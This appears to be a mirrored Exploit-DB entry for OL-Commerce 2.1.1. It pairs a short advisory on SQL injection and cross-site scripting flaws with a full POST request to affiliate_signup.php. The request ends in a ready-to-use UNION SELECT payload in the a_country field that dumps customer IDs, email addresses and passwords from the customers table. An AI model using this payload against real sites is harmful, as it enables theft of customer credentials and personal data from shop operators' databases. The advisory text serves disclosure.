OL-Commerce – ‘/OL-Commerce/affiliate_signup.php?a_country’ SQL Injection

  • 作者: AtT4CKxT3rR0r1ST
    日期: 2014-07-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39343/
  • source: https://www.securityfocus.com/bid/68719/info
    
    ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
    Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
    ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 
    
    http://www.example.com/OL-Commerce/affiliate_signup.php
    
    POST /OL-Commerce/affiliate_signup.php HTTP/1.1
    Host: www.example.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
    Firefox/26.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://www.example.com/o/affiliate_signup.php
    Cookie:
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 629
    
    action=process&a_gender=m&a_firstname=haha&a_lastname=hahasdf&a_dob=457689
    &a_email_address=email@hotmail.com&a_company=iiiiii&a_company_taxid=12
    &a_payment_check=jjjjjj&a_payment_paypal=email@hotmail.com
    &a_payment_bank_name=paypal
    &a_payment_bank_branch_number=555555&a_payment_bank_swift_code=444444
    &a_payment_bank_account_name=qqqqqq&a_payment_bank_account_number=3333333
    &a_street_address=ddddddd&a_suburb=ccccccf&a_postcode=00961&a_city=bbbbbb
    &a_country=118[SQL
    INJECTION]&a_state=aaaaaa&a_telephone=22222222&a_fax=11111111&
    a_homepage=http://iphobos.com/blog&a_password=12121212
    &a_confirmation=12121212&a_agb=1&x=65&y=3
    
    
    [NOTE]
    ------
    a_country=118[SQL INJECTION]=118' and 1=2 union all select
    group_concat(customers_id,0x3a,customers_email_address,0x3a,customers_password)+from+customers--